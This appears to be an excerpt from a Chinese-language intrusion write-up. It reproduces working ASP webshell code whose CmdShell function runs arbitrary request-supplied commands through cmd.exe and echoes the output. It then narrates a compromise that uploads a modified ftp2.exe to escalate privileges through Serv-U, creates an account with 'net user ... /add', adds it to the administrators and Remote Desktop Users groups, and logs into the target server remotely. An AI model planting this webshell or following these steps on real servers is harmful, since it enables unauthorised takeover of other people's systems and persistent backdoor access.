Function CmdShell() If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" if Request("wscript")="yes" then checked=" checked" else checked="" end if If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="<form method='post'><input name='cmd' Style='width:92%' class='cmd' value='"&DefCmd&"'><input type='submit' value='运行'>" SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>" If Request.Form("cmd")<>"" Then if Request.Form("wscript")="yes" then Set CM=CreateObject(ObT(1,0)) Set DD=CM.exec(ShellPath&" /c "&DefCmd) aaa=DD.stdout.readall SI=SI&aaa else%> <object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object> <%szTempFile = server.mappath("cmd.txt") Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True) Set fs = CreateObject("Scripting.FileSystemObject") Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0) aaa=Server.HTMLEncode(oFilelcx.ReadAll) oFilelcx.Close Call fso.DeleteFile(szTempFile, True) SI=SI&aaa end if End If SI=SI&chr(13)&"</textarea>" SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:70%'> " SI=SI&"<input type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell</form>" Response.Write SI End Function 利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server。
然后上传修改后的ftp2.exe,在wscript.shell中执行D:\web\ftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。